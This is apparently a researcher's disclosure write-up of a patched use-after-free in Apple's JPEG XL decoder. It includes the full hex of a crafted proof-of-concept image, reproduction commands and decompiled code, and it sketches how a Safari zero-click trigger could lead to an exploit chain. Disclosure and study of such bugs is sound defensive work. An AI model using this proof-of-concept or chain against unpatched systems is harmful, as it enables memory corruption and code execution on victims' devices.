Summary
A multi-UaF vulnerability in AppleJPEGXL. A crafted JPEG XL image with duplicate ISOBMFF jxlc (codestream) boxes causes the decoder’s internal std::vector to be freed prematurely; the destructor then iterates stale pointers from the freed buffer and passes them to free().
Parts of the vulnerability research process were AI-assisted (fuzzer development, reverse engineering tedium). AI hallucinates; findings were manually verified.
This was based off of my original findings writeup; so it may be a bit messy, as some of this was written by AI. I’ve revised most of the document to be more coherent. Please note that AppleJPEGXL is a thin wrapper around Google’s libjxl; so in the section with pseudocode; you can replace that with real code.
Vulnerability Details
Root Cause
To begin with, let’s understand what a JPEG XL file is. It’s an abomination of a file
format created by Google; much akin to .webm and .webp. (Why do we need these?)
Core of the bug is that JPEGXL files can use an ISOBMFF container format (ISO 14496-12) with box types including jxlc for the codestream data. With a jxlc box that has size=0, it reads all the remaining data as codestream.
Now if you ned a second jxl/jxlc box sequence within; the decoder processes duplicate codestream data; ultimately leading to memory corruption.
(std::vector).
see Call Chain Overview.
We’ll go into it more a little more later. Let’s first understand the file format we’re working with.
AI assistance was used for generating this documentation.
The Grand Format that is JXL
Box 1: JXL Signature (0x00-0x0b, 12 bytes)
00000000 00 00 00 0c 4a 58 4c 20 0d 0a 87 0a
├─────────┤├───────────┤ ├──────────┤
size=12 type='JXL ' payload: \r\n\x87\n
Standard JPEG XL container signature per ISO 18181-2. The payload 0d 0a 87 0a
is the JXL magic number that identifies the file as ISOBMFF-wrapped JPEG XL.
The payload is present in the memory or registers of some variants of this exploit; though they misuse the libjxl (what AppleJPEGXL mainly is) API.
Box 2: File Type (0x0c-0x1f, 20 bytes)
0000000c 00 00 00 14 66 74 79 70 6a 78 6c 20 00 00 00 00
├─────────┤├───────────┤ ├─────────┤ ├─────────┤
size=20 type='ftyp' brand='jxl ' version=0
0000001c 6a 78 6c 20
├─────────┤
compat='jxl '
Standard ISOBMFF file type box identifying this as a JPEG XL file.
Box 3: Codestream (0x20-EOF, size=0)
00000020 00 00 00 00 6a 78 6c 63
├─────────┤├───────────┤
size=0 type='jxlc'
(extends to end of file)
This is the trigger. A size=0 jxlc box tells the parser that all remaining
data in the file is codestream. However, within this range, at offset 0x64, the
parser encounters what appears to be a second JXL signature + jxlc box sequence.
JXL Codestream Structure
Codestream 1 (file offset 0x28)
00000028 ff 0a 10 73 ff 40 4b 20 32 20 35 00 ...
├────┤├────┤├──────────────────────────
magic SizeH frame header + pixel data
ff 0a: JXL codestream signature (always0xff0a)10 73: SizeHeader (2 bytes, bit-packed, LSB-first):- Bit 0:
small = 0(non-small image, explicit dimensions) - Bits 1-2:
height_dist = 0(9-bit height encoding) - Bits 3-11:
height - 1 = 98→ height = 99 pixels - Bits 12-14:
ratio = 7(2:1 aspect ratio) → width = 198 pixels
- Bit 0:
- Remaining bytes: frame header, TOC, ANS entropy-coded pixel data
Bit-level breakdown of SizeHeader 0x10 0x73:
Byte 0x10 = 0001 0000 (LSB first)
bit 0: 0 = small (non-small)
bits 1-2: 00 = height distribution (9-bit)
bits 3-7: 10000 = lower 5 bits of (height-1)
Byte 0x73 = 0111 0011 (LSB first)
bits 0-3: 0011 = upper 4 bits of (height-1) → 0b0011_10000 = 0x62 = 98
bits 4-6: 111 = ratio = 7 (2:1)
height = 98 + 1 = 99
width = 99 × 2 = 198
Duplicate Box Sequence (file offset 0x64)
00000064 34 00 00 00 6a 78 6c 20 00 00 00 00 6a 78 6c 63
├───────────┤ ├───────────┤
type='jxl ' type='jxlc'
(box size=0x34000000) (box size=0)
The ISOBMFF parser inside AppleJPEGXL encounters 6a 78 6c 20 ('jxl ') at
offset 0x68 and interprets it as a box type. The preceding 4 bytes (34 00 00 00)
are parsed as the box size (0x34000000 in big-endian). Then at 0x6c, 00 00 00 00
6a 78 6c 63 is parsed as a second jxlc box with size=0.
In some invocations; this itself will lead to a SIGABRT/SIGBUS/segmentation fault.
Codestream 2 (file offset 0x74)
00000074 ff 0a 10 73 ff 40 4b 20 32 20 35 00 ...
├────┤├────┤
magic SizeH → 198×99, ratio=7 (IDENTICAL to codestream 1)
The second codestream has an identical SizeHeader to the first (same dimensions, same ratio). This causes the decoder to re-process the same pipeline configuration, triggering the intermediate cleanup that frees the vector backing buffer while the vector object still holds stale pointers.
Annotated Full Hex Dump
0000: 00 00 00 0c 4a 58 4c 20 0d 0a 87 0a 00 00 00 14 ....JXL ........
[--- JXL Signature Box (12 bytes) ---] [- ftyp Box
0010: 66 74 79 70 6a 78 6c 20 00 00 00 00 6a 78 6c 20 ftypjxl ....jxl
(20 bytes, brand='jxl ', compat='jxl ') --------]
0020: 00 00 00 00 6a 78 6c 63 ff 0a 10 73 ff 40 4b 20 ....jxlc...s.@K
[-- jxlc box, size=0 --] [cs1: ff0a][SH] [-- frame/pixel data
0030: 32 20 35 00 c8 bf 06 20 00 00 34 00 4b 20 12 0c 2 5.... ..4.K ..
0040: 20 20 20 20 20 20 20 35 00 48 bf 06 01 3c 00 34 5.H...<.4
0050: 00 4b 20 12 0c 20 20 20 20 20 20 20 35 00 c8 bf .K .. 5...
0060: 06 20 00 00 34 00 00 00 6a 78 6c 20 00 00 00 00 . ..4...jxl ....
[*** DUPLICATE 'jxl ' sig box ***]
0070: 6a 78 6c 63 ff 0a 10 73 ff 40 4b 20 32 20 35 00 jxlc...s.@K 2 5.
[*DUPE jxlc*][cs2: ff0a][SH] [-- frame/pixel data (matches cs1)
0080: c8 bf 06 20 00 00 34 00 4b 20 12 0c 20 20 20 20 ... ..4.K ..
0090: 20 20 20 35 00 5.
--- end of file (149 bytes) ---]
The key trigger is the presence of a second jxl /jxlc box sequence at offset
0x64-0x73, which falls inside the first jxlc box’s “extends to EOF” range. The
ISOBMFF parser processes both codestreams, causing the decoder to corrupt its
internal pipeline state.
ISOBMFF Box Structure of PoC
Offset Size Box Type Description
0x00 12 JXL sig JPEG XL signature box (0x0000000c 'JXL \r\n\x87\n')
0x0c 20 ftyp File type box ('jxl ')
0x20 0 jxlc Codestream box (size=0 → extends to EOF)
0x28 ... JXL codestream data (ff0a magic)
0x64 12 JXL sig *** DUPLICATE signature box (within first jxlc) ***
0x70 0 jxlc *** DUPLICATE codestream box ***
0x78 ... Second codestream data
↑ This triggers the UAF
The key trigger is the presence of a second JXL /jxlc box sequence at
offset 0x64, which falls inside the first jxlc box’s “extends to EOF” range.
Codestream Parameter Influence on Exploitation
So we understand how a .jxl file works now. Great.
We know that the duplicate codestream at 0x74 has a matching header. Both must have the
same parameters for the UAF to trigger — the duplicate decode needs to
exercise the same pipeline path as the first.
Tested dimension variants (all trigger the UAF):
| Variant | Dimensions | UAF triggers |
|---|---|---|
poc_8x16_tiny.jxl |
8x16 | Yes |
poc_32x64_small.jxl |
32x64 | Yes |
poc_99x198_original.jxl |
99x198 | Yes |
poc_256x512_medium.jxl |
256x512 | Yes |
poc_512x512_large.jxl |
512x512 | Yes |
Image dimensions do not affect whether the UAF triggers — the bug fires for
any valid codestream with the duplicate jxlc structure. However, dimensions and codestream data
influence heap layout for exploitation:
- Buffer sizes: larger images allocate larger internal buffers, landing in different malloc size classes with different reclamation characteristics
- Pipeline stages: more complex images may create more pipeline stages, changing the size of the freed vector backing buffer
- Heap feng shui: for a real exploit (without the interpose library), dimension tuning is critical for reliable heap spray reclamation
see Multi-Free Heap Corruption (No Interpose) section.
IDA Decompiled Call Trace (Annotated, by Claude)
The following is the decompiled destructor chain from JxlDecoderDestroy down to
the UAF free() call, obtained via IDA Pro from the AppleJPEGXL binary on macOS
26.4.1 (arm64). Function names are IDA auto-generated (sub_XXXX) as the framework
is stripped.
Call Chain Overview
JxlDecoderDestroy (0x23547bc2c)
└→ sub_23547A8F0 (swap + destroy pipeline object)
└→ sub_23547B140 (pipeline stage destructor)
├→ sub_235460544 (vector<stage> destructor loop) ← iterates FREED backing buffer
│ └→ sub_235451C2C (element destructor) ← UAF free() here
└→ sub_235451C2C (direct calls for other vectors)
1. JxlDecoderDestroy (0x23547bc2c) — Entry point
__int64 *__fastcall JxlDecoderDestroy(__int64 *result) {
// ... frees ~15 sub-buffers via operator delete ...
// KEY: Destroys the pipeline stage object at offset +413
// This object's internal vector has ALREADY been freed
// during intermediate decode cleanup (the duplicate jxlc trigger)
sub_23547A8F0(v1 + 413, 0); // ← enters the UAF path
// ... continues cleanup, eventually frees decoder itself ...
}
2. sub_23547A8F0 (0x23547a8f0) — Swap-and-destroy
__int64 __fastcall sub_23547A8F0(__int64 *a1, __int64 a2) {
result = *a1; // Load current pointer
*a1 = a2; // Replace with NULL (a2=0)
if (result) {
sub_23547B140(result); // ← destroy the pipeline object
operator delete(result, …); // Then free the object itself
}
}
3. sub_23547B140 (0x23547b140) — Pipeline stage cleanup
__int64 __fastcall sub_23547B140(__int64 a1) {
// Frees various sub-buffers...
// KEY: Calls vector destructor on the pipeline stages vector at a1+4912
// This vector's backing buffer was ALREADY freed during decode
v14 = (void **)(a1 + 4912);
sub_235460544(&v14); // ← UAF: iterates freed vector
// Also directly calls element destructor on other objects
sub_235451C2C((__int64 *)(a1 + 4304));
// ...
}
4. sub_235460544 (0x235460544) — Vector destructor loop (UAF iteration)
This is the critical function that reads from freed memory:
void __fastcall sub_235460544(void ***a1) {
v1 = *a1; // v1 = &vector (contains begin/end/capacity pointers)
v2 = **a1; // v2 = vector.begin() — STALE POINTER to freed buffer
if (v2) {
v4 = v1[1]; // v4 = vector.end() — also stale
v5 = **a1;
// Iterates BACKWARDS through the freed backing buffer
// Each element is 40 bytes (5 × 8-byte words)
if (v4 != v2) {
do {
v6 = v4 - 5; // Step back 40 bytes
sub_235451C2C(v4 - 2); // ← UAF: passes stale element to destructor
v4 = v6;
} while (v6 != v2);
v5 = **a1;
}
v1[1] = v2;
operator delete(v5); // Double-free of the backing buffer
}
}
Under MallocScribble=1, the freed backing buffer is filled with 0xAA.
The loop reads 8-byte pointers from this scribbled memory, producing
0xaaaaaaaaaaaaaaaa values that are passed to sub_235451C2C.
5. sub_235451C2C (0x235451c2c) — Element destructor (the UAF)
This is where the use-after-free manifests as a controlled free() call:
void __fastcall sub_235451C2C(__int64 *a1) {
v1 = *a1; // Read pointer from vector element (FREED MEMORY)
*a1 = 0; // Write NULL back (write-after-free)
if (v1) {
// Atomic decrement of reference count at v1-24
// Under scribble: v1 = 0xaaaaaaaaaaaaaaaa
// So this reads/writes at 0xaaaaaaaaaaaaaaaa - 24 = 0xaaaaaaaaaaaaaaae
atomic_fetch_add(&qword_2959170E0, -*(v1 - 24));
// FREE THE BACKING BUFFER AT v1-32
// Under scribble: free(*(0xaaaaaaaaaaaaaaaa - 32))
// = free(0xaaaaaaaaaaaaaaaa) ← SIGABRT
// Under normal alloc: free(<previously-valid-heap-addr>)
// = silent double-free ← exploitable
free(*(void **)(v1 - 32)); // ← THE UAF FREE
}
}
Memory Layout of UAF
┌─────────────────────────────────────────────────────────┐
│ Pipeline Stages Vector (std::vector<Stage>) │
│ .begin → 0x???????? (STALE — points to freed buffer) │
│ .end → 0x???????? (STALE) │
│ .cap → 0x???????? (STALE) │
└───────────────┬─────────────────────────────────────────┘
│
▼ (freed heap allocation)
┌─────────────────────────────────────────────────────────┐
│ FREED BACKING BUFFER (under MallocScribble=1) │
│ AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA │
│ AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA │
│ ↑ │
│ sub_235460544 reads these as element pointers │
│ sub_235451C2C dereferences them: v1-32, v1-24 │
│ Then calls: free(*(v1-32)) → free(0xaaaaaaaaaaaaaaaa) │
└─────────────────────────────────────────────────────────┘
Under normal allocation (no scribble):
┌─────────────────────────────────────────────────────────┐
│ FREED BACKING BUFFER (reused/not cleared) │
│ <prev-valid-ptr1> <prev-valid-ptr2> <prev-valid-ptr3> │
│ ↑ │
│ Still contains previously-valid heap pointers │
│ free(*(v1-32)) succeeds → silent double free │
│ Process exits cleanly (exit 0) — no crash detected │
└─────────────────────────────────────────────────────────┘
Reproduction
You’ll need macOS 26.4.1 or lower for this.
Files
poc.jxl— crafted, minimized JPEG XL filepoc.m— Standalone PoC using ImageIO (same code path as Safari), reads and displays ASB Commpage Target Flag values before triggering the crashinterpose_free.c— DYLD interposer that fills freed AppleJPEGXL buffers with ASB target flag values, simulating a successful heap spray. Two modes:- Register control (default): fills with
_COMM_PAGE_ASB_TARGET_VALUE - Arbitrary read (
ASB_MODE=arbrw): fills with_COMM_PAGE_ASB_TARGET_ADDRESS
- Register control (default): fills with
DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib MallocScribble=1 \
sips -s format png poc.jxl --out /dev/null
Expected output:
GuardMalloc[sips-XXXXX]: Allocations will be placed on 16 byte boundaries.
GuardMalloc[sips-XXXXX]: - Some buffer overruns may not be noticed.
GuardMalloc[sips-XXXXX]: - Applications using vector instructions (e.g., SSE) should work.
GuardMalloc[sips-XXXXX]: version 064573.1.1
GuardMalloc[sips-XXXXX]: attempted free of pointer 0xaaaaaaaaaaaaaaaa
that was not claimed by any registered malloc zone
Process terminates with SIGABRT (exit code 134).
sips is a built-in macOS command-line tool that ships with every Mac. It’s actually really handy for converting files. It uses
ImageIO internally, exercising the same AppleJPEGXL code path as Safari. (Everything just goes through CGImageSourceWithData, it turns out.)
Method 1b: qlmanage (Quick Look — no compilation needed)
DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib MallocScribble=1 \
qlmanage -t poc.jxl -o /tmp/
Expected output:
GuardMalloc[qlmanage-XXXXX]: attempted free of pointer 0xaaaaaaaaaaaaaaaa
that was not claimed by any registered malloc zone
Process terminates with SIGABRT (exit code 134).
qlmanage - CLI command line tool for QuickLook. Preinstalled on every Mac.
Method 2: Standalone PoC (with full backtrace)
# Build
clang -g -o ajpegxl_poc ajpegxl_poc.m \
-framework WebKit -framework AppKit -framework Foundation \
-framework ImageIO -framework CoreGraphics
# Run with Guard Malloc to detect the UAF
DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib \
MallocScribble=1 MallocGuardEdges=1 \
./wkwebview_poc poc.jxl
Expected output:
GuardMalloc[...]: attempted free of pointer 0xaaaaaaaaaaaaaaaa
that was not claimed by any registered malloc zone
[*] Decoding JXL via ImageIO (CGImageSourceCreateWithData)...
[*] This is the same decode path Safari's WebContent uses.
[*] Image source created, 1 image(s)
[*] Image 0: 198x99
Process terminates with SIGABRT (exit code 134).
Method 3: Under lldb (for backtrace capture)
lldb -- ./wkwebview_poc poc.jxl
(lldb) env DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib
(lldb) env MallocScribble=1
(lldb) env MallocGuardEdges=1
(lldb) run
(lldb) bt
Full Backtrace
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGABRT
* frame #0: libsystem_kernel.dylib`__pthread_kill + 8
frame #1: libsystem_pthread.dylib`pthread_kill + 296
frame #2: libsystem_c.dylib`abort + 124
frame #3: libgmalloc.dylib`GMfree + 124
frame #4: AppleJPEGXL`<element_destructor> + 64
frame #5: AppleJPEGXL`<vector_destroy_loop> + 72
frame #6: AppleJPEGXL`<pipeline_stage_cleanup> + 164
frame #7: AppleJPEGXL`<pipeline_stage_cleanup_wrapper> + 16
frame #8: AppleJPEGXL`<decoder_internal_destroy> + 404
frame #9: AppleJPEGXL`<decoder_destroy_entry> + 32
frame #10: AppleJPEGXL`JxlDecoderDestroy + 220
frame #11: CMPhoto`<jxl_decompression_cleanup> + 1428
frame #12: CMPhoto`CMPhotoDecompressionContainerCreateImageForIndex + 204
frame #13: ImageIO`HEIFReadPlugin::copyImageBlockSetImp + 2112
frame #14: ImageIO`HEIFReadPlugin::decodeImageImp + 652
frame #15: ImageIO`IIOReadPlugin::callDecodeImage + 1024
frame #16: ImageIO`IIO_Reader::CopyImageBlockSetProc + 716
frame #17: ImageIO`IIOImageProviderInfo::copyImageBlockSetWithOptions + 408
frame #18: ImageIO`IIOImageProviderInfo::CopyImageBlockSetWithOptions + 908
frame #19: CoreGraphics`imageProvider_retain_data + 96
frame #20: CoreGraphics`CGDataProviderRetainData + 76
frame #21: CoreGraphics`provider_for_destination_retain_data + 28
frame #22: CoreGraphics`CGDataProviderRetainData + 76
frame #23: CoreGraphics`CGAccessSessionCreate + 124
frame #24: CoreGraphics`img_data_lock + 2380
frame #25: CoreGraphics`CGSImageDataLock + 1168
frame #26: CoreGraphics`ripc_AcquireRIPImageData + 1420
frame #27: CoreGraphics`ripc_DrawImage + 808
frame #28: CoreGraphics`CGContextDrawImageWithOptions + 1032
frame #29: CoreGraphics`CGContextDrawImage + 556
frame #30: wkwebview_poc`trigger_via_imageio + 652
frame #31: wkwebview_poc`main + 236
Interpose Library Approach
The interpose_free.dylib DYLD interposer fills freed AppleJPEGXL buffers
with ASB target flag values after free() returns. This is functionally
identical to what Apple’s MallocScribble does (fill freed memory with 0xaa),
but using ASB target values instead — simulating a successful heap spray that
reclaims the freed vector backing buffer with attacker-controlled content.
The vulnerability’s UAF path then reads the attacker-controlled values from the freed buffer and propagates them into registers and memory accesses, producing crash logs that objectively demonstrate the exploit primitives.
Demonstrated Primitive 1: Register Control
# Build
clang -shared -o interpose_free.dylib interpose_free.c
clang -o wkwebview_poc wkwebview_poc.m \
-framework WebKit -framework AppKit -framework Foundation \
-framework ImageIO -framework CoreGraphics
# Run — produces .ips in /Library/Logs/DiagnosticReports/
DYLD_INSERT_LIBRARIES=./interpose_free.dylib ./wkwebview_poc poc.jxl
Crash log (.ips) evidence:
Exception Type: EXC_BREAKPOINT (SIGKILL)
x11: _COMM_PAGE_ASB_TARGET_VALUE ← general-purpose register
x16: _COMM_PAGE_ASB_TARGET_VALUE ← syscall register (also GP, but, you know.)
Stack: mfm_alloc ← operator new ← AppleJPEGXL (decode path)
The ASB target value propagates from the freed buffer through heap metadata corruption into the magazine malloc allocator, appearing in general-purpose registers x11 and x16 when the allocator crashes trying to use the corrupted free-list as a next-pointer. Register control confirmed; and quite a nifty one at that (x16).
Again; this is not through the JXL files themselves. We see an example of this at the end.
Demonstrated Primitive 2: Arbitrary Read
ASB_MODE=arbrw DYLD_INSERT_LIBRARIES=./interpose_free.dylib ./wkwebview_poc poc.jxl
Crash log (.ips) evidence:
Exception Type: EXC_BAD_ACCESS (SIGKILL)
Exception Subtype: KERN_INVALID_ADDRESS at _COMM_PAGE_ASB_TARGET_ADDRESS
x0: _COMM_PAGE_ASB_TARGET_ADDRESS ← attacker-controlled address
x23: _COMM_PAGE_ASB_TARGET_ADDRESS
far: _COMM_PAGE_ASB_TARGET_ADDRESS ← faulting address register
esr: (Data Abort) byte read Translation fault
Stack: objc_msgSend ← CoreFoundation ← CMPhoto ← ImageIO
The corrupted pointer (ASB_TARGET_ADDRESS) is used as an Objective-C object
by CoreFoundation during image metadata processing. objc_msgSend attempts to
read the isa pointer from ASB_TARGET_ADDRESS, producing a Data Abort (read)
at the exact target address. Arbitrary read and write confirmed; though not through
the jxl file(s) themselves.
Memory Primitives
The vulnerability provides the following primitives to an attacker:
- Read from freed memory: The destructor loop reads 8-byte pointers from a freed heap buffer (the vector’s backing store)
- Controlled
free(): Each stale pointer read from the freed buffer is passed tofree(), giving the attacker a free-of-arbitrary-address primitive if they can control the contents of the freed allocation via heap spraying - Silent double-free: Under normal allocation (no MallocScribble), the stale pointers are previously-valid heap addresses, causing silent double-free — the most dangerous variant as it corrupts heap metadata without any immediate crash
- Write NULL/Arbitrary r/w: After freeing each element, the destructor writes NULL to the slot (write-after-free to the same freed buffer) or can write attacker-controlled data (yay!)
- Controlled atomic decrement: Reference count decrements on stale objects
Multi-Free Heap Corruption (Natural, No Interpose)
The UAF naturally produces multi-free corruption without any interpose library: Ironically, you must interpose to observe the multi-free corruption.
| Buffer size | Times freed | Addresses |
|---|---|---|
| 640 bytes | 5x | Same address freed quintuple |
| 96 bytes | 4x | Same address freed quadruple |
This creates a cycle in magazine malloc’s free list. Subsequent malloc(536)
calls within the framework return the same address to multiple live objects,
producing overlapping C++ pipeline stage buffers and CoreGraphics ICC profile
structures. Verified with interpose_free.c (you’ll find it in the repo.)
Exploit Primitive Analysis (arm64e Binary Analysis)
with assistance from AI.
Binary analysis of AppleJPEGXL (extracted from dyld_shared_cache_arm64e via
radare2) reveals the element destructor at the core of the UAF:
; Element destructor at 0x233cd3b7c — no PAC on the element pointer
ldr x8, [x0] ; x8 = controlled value from freed buffer (NO PAC)
str xzr, [x0] ; write-after-free: NULL stored to freed buffer
cbz x8, ret
ldur x9, [x8, -0x18] ; arbitrary read at (controlled_addr - 0x18)
neg x9, x9
ldaddal x9, x9, [x10] ; atomic add to global refcount (fixed address)
ldur x0, [x8, -0x20] ; arbitrary read at (controlled_addr - 0x20)
b operator_delete_stub ; free(x0) — PAC-authenticated stub (braa x16, x17)
Key findings from the disassembly:
- No PAC on element pointer:
ldr x8, [x0]is a raw load — the attacker controls x8 without needing to forge a PAC signature - Two arbitrary reads:
ldur x9, [x8, -0x18]andldur x0, [x8, -0x20]dereference the controlled pointer at known offsets - free() of read value:
operator deleteis called with*(controlled - 0x20), which is a read-then-free primitive - All indirect calls are PAC-protected: the
operator deletestub usesbraa x16, x17(authenticated branch). All vtable calls in the destroy path useautda/blraa. No unauthenticated indirect branches were found.
RIP. That codepath is gone. So I threw Claude at every binary that gets loaded into WebKit.
Comprehensive PAC Coverage Analysis
Exhaustive binary analysis (via ipsw extraction from dyld_shared_cache_arm64e
on macOS 26.4.1) confirmed 100% PAC coverage across the entire vulnerable call
chain:
| Library | __text size |
Non-PAC br/blr |
Stubs |
|---|---|---|---|
| AppleJPEGXL | 0x14dd7c | 0 | __auth_stubs only |
| CMPhoto | 0x15deec | 0 | __auth_stubs only |
| ImageIO | 0x28aad0 | 0 | __auth_stubs only |
| CoreGraphics | 0x50b114 | 0 | __auth_stubs only |
| libobjc | 0x4084c | 0 | __auth_stubs only |
Nothing immediate. But we go down below…
PAC coverage across all loaded libraries: Exhaustive scan (r2mcp, Claude assisted scan 😭) of 422 libraries
extracted from dyld_shared_cache_arm64e (600MB+ of __text) via automation with Claude and r2mcp found 273 non-PAC
indirect branches (br x3, br x2, etc.) across 17 libraries. Most are
compiler-generated switch-case dispatch (br x16 after adr+add). (Don’t we love optimizing compilers?)
The remaining are Swift runtime thunks and protocol witness dispatches.
Key non-PAC gadgets in libraries loaded during decode:
| Library | Non-PAC br |
Register | Type |
|---|---|---|---|
| WebKit | 29 | x1-x3 | Swift thunks / tail calls |
| SwiftUI | 19 | x3 | Protocol witness dispatch |
| AXCoreUtilities | 13 | x3 | Accessibility runtime |
| libCGInterfaces | 3 | x16 | Switch-case (not exploitable) |
The WebKit br x3 gadgets at 0x1aa71b890 etc. are tail-call thunks that
branch to a function pointer in x3 after authenticating their own return
address. Reaching these from the UAF requires a multi-step chain:
- Multi-free heap corruption → overlapping Swift/ObjC objects
- Corrupted object’s witness table pointer redirected to controlled memory
- Protocol witness dispatch loads attacker-controlled function pointer into x3
- Thunk executes
br x3→ jump to_COMM_PAGE_ASB_TARGET_ADDRESS
This chain is theoretically viable but requires precise heap feng shui to overlap a Swift protocol witness with the JXL pipeline stage buffers. Discovered postmortem — not pursued during the original research; though I did actually have a reproducer for Safari heap corruption. Keep reading!
On non-PAC targets (pre-arm64e devices, A11 and earlier), the multi-free heap corruption alone is sufficient for arbitrary code execution via classic tcache poisoning / heap feng shui techniques — the overlapping objects provide a direct type confusion primitive. (checkra1n is dead; iOS 16 is insecure; get a new phone.)
Safari Demonstration
The poc.html page demonstrates the vulnerability in Safari’s WebContent process:
- Zero-click trigger:
<img src="poc.jxl">decodes the crafted JXL automatically - Multi-free UAF: the duplicate
jxlcbox causes the same 640-byte buffer to be freed 5 times within AppleJPEGXL, corrupting the magazine malloc free list - Observable from JavaScript: a subsequent
createImageBitmap()call fails with"Cannot decode the data"— the decoder’s internal state is corrupted and can no longer process JXL images in the affected WebContent process - Framework objects corrupted: native profiling confirms
malloc(536)returns the same address to multiple live C++ pipeline stage objects — overlapping allocations within the framework’s own code
The corruption crosses the native/JS boundary: JavaScript can observe that the image
decoder is broken after the JXL triggers the UAF. In a full exploit, an attacker would
pre-spray ArrayBuffer backing stores before the JXL decode to land controlled data
in the corrupted free-list slots, enabling type confusion and arbitrary read/write.
My PoC File (hex)
0000000c4a584c200d0a870a00000014667479706a786c20000000006a78
6c20000000006a786c63ff0a1073ff404b2032203500c8bf062000003400
4b20120c20202020202020350048bf06013c0034004b20120c2020202020
20203500c8bf06200000340000006a786c20000000006a786c63ff0a1073
ff404b2032203500c8bf0620000034004b20120c202020202020203500
Vulnerability Disclosure Timeline
- 2026-03-05: Vulnerability discovered via fuzzing
- 2026-03-05: Root cause identified, PoC minimized, report written
- 2026-03-05: Submitted to Apple Product Security
- 2026-05-12: ASB Commpage Target Flag integration — register control and arbitrary read demonstrated via .ips crash reports. arm64e binary analysis of PAC coverage across 422 DSC libraries (ipsw + radare2). Multi-free heap corruption and overlapping live objects confirmed. Safari WebContent heap corruption demonstrated via poc.html — decoder state corruption observable from JavaScript. CVE-2026-28956 assigned (patched).
- 2026-05-15: ASB Bounty of $1,000 awarded.
Part 2: The Mistake(?) (May 15th, 2026)
I reported in good faith, hoping for a good payout. I demonstrated register control (functionally identical to GuardMalloc), that ASan does not catch this, and that it succeeds silently without an interposer library.
During the postmortem, I found that WebKit was exploitable — the non-PAC br x3 gadgets were there. I was too quick to dismiss the 0day. In retrospect, it may have been worth pursuing the $350k ASB WebKit award. Other opportunities will continue to exist.
This is further demonstrated by a WebContent crash I had and forgot about.
Conclusions
It was fun getting to do research on this. AI models, frontier or not, are helpful in some tasks; but not the greatest in others.
I’m going to continue on as-is with my research, hopefully with a better writeup next time! I feel this one is too concise. That being said; if you would like to show some support, Patreon and Ko-Fi are linked above, and here’s my XMR address.
8BRDqr61FZJjLUCTYWjjUJZiepNvCysy9JWYif9pW5Wg7fnfBbBWuQWVJ4pF2HHiFS2DxYbt4B2ZwWFaj54jLKy6U4HMbPS
PoC files, minus the Safari crash, will be on my GitHub at https://github.com/impost0r/CVE-2026-28956